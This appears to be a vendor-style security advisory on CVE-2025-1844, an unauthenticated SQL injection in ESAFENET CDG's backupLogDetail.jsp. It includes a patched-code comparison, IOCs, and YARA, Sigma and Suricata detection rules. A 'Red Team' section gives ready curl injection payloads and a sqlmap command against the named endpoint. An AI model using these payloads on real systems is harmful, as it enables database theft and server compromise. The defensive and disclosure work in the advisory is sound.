CVE-2025-1844

Executive Summary

CVE-2025-1844 is a critical SQL injection vulnerability in ESAFENET CDG version 5.6.3.154.205_20250114. The flaw exists in the /CDGServer3/logManagement/backupLogDetail.jsp endpoint, where the logTaskId parameter is not sanitized before being used in SQL queries. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full server compromise. The exploit has been publicly disclosed, and no vendor patch is available. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the critical classification and public exploit, a reasonable assessment is:

• Attack Vector (AV): Network (N) – remotely exploitable.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – full database read possible.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service via SQL injection.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – public exploit, no patch, remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the backupLogDetail.jsp page. The logTaskId parameter is directly concatenated into a SQL query without proper sanitization or parameterized statements. This allows an attacker to inject arbitrary SQL commands.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries. For example, the vulnerable code might look like:

String query = "SELECT * FROM backup_logs WHERE task_id = " + request.getParameter("logTaskId");

Attack Vector: An attacker sends a crafted HTTP GET or POST request to /CDGServer3/logManagement/backupLogDetail.jsp?logTaskId=1' OR '1'='1. This can bypass authentication, extract data, or execute commands.

Impact:

• Data Exfiltration: Dump entire database contents (user credentials, logs, configuration).
• Authentication Bypass: Manipulate login queries to gain admin access.
• Remote Code Execution (RCE): If the database supports xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL), the attacker may write a webshell to the server.
• Denial of Service: Use heavy queries to exhaust database resources.

Vulnerable vs. Patched Code

Vulnerable Code (Java/JSP):

String logTaskId = request.getParameter("logTaskId");
String query = "SELECT * FROM backup_logs WHERE task_id = " + logTaskId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Using PreparedStatement):

String logTaskId = request.getParameter("logTaskId");
String query = "SELECT * FROM backup_logs WHERE task_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, logTaskId);
ResultSet rs = pstmt.executeQuery();

Explanation: The patched version uses parameterized queries, which treat user input as data, not executable code. This prevents SQL injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ESAFENET CDG 5.6.3.154.205_20250114.
• Network access to the /CDGServer3/logManagement/backupLogDetail.jsp endpoint.

Exploit Steps:

1. Basic SQL Injection Test:

   curl "http://target.com/CDGServer3/logManagement/backupLogDetail.jsp?logTaskId=1' OR '1'='1"
   

   If the page returns data or a different response, the parameter is vulnerable.

2. Extract Database Version (MySQL):

   curl "http://target.com/CDGServer3/logManagement/backupLogDetail.jsp?logTaskId=1' UNION SELECT @@version,2,3-- -"
   

3. Extract Table Names:

   curl "http://target.com/CDGServer3/logManagement/backupLogDetail.jsp?logTaskId=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/CDGServer3/logManagement/backupLogDetail.jsp?logTaskId=1" --batch --dbs
   

Note: Since no official exploit code is provided, manual injection or sqlmap is recommended.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL keywords in the logTaskId parameter (e.g., UNION, SELECT, OR, --).
• Use WAF rules to block SQL injection patterns.
• Deploy the detection rules below.

Mitigation:

• Immediately apply input validation and parameterized queries (see patched code).
• If patching is not possible, restrict access to the vulnerable endpoint via firewall or reverse proxy.
• Implement a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /CDGServer3/logManagement/backupLogDetail.jsp with logTaskId containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Unexpected files in the web root (e.g., cmd.aspx, shell.jsp).
• Log IOCs:
  • Database query logs showing UNION, SELECT, OR in the logTaskId parameter.
  • Web server access logs with logTaskId containing encoded SQL characters.

Detection Engineering

YARA Rule

rule CVE_2025_1844_SQLi_ESAFENET_CDG {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1844 in ESAFENET CDG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1844"
    strings:
        $sqli1 = "logTaskId=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR" nocase
        $sqli5 = "--" nocase
        $sqli6 = "1=1" nocase
    condition:
        $sqli1 and (any of ($sqli2, $sqli3, $sqli4, $sqli5, $sqli6))
}

Sigma Rule

title: SQL Injection Attempt Against ESAFENET CDG backupLogDetail.jsp
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-1844
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "logTaskId="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1844 SQL Injection Attempt"; flow:to_server,established; content:"/CDGServer3/logManagement/backupLogDetail.jsp"; http_uri; content:"logTaskId="; http_uri; pcre:"/logTaskId=.*(UNION|SELECT|OR|--|1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or restrict access to /CDGServer3/logManagement/backupLogDetail.jsp via firewall or reverse proxy.
   • Implement a WAF with SQL injection rules.
   • Monitor logs for exploitation attempts.

2. Long-Term Fix:

   • Apply parameterized queries (PreparedStatement) to all database interactions.
   • Perform a full code audit for similar vulnerabilities.
   • Contact ESAFENET for an official patch or consider migrating to a supported solution.

3. Compromise Assessment:

   • Check for unauthorized database queries or data exports.
   • Review web server logs for suspicious requests.
   • Scan for webshells or backdoors.

Valters IT – DevSecOps & Cyber Threat Intelligence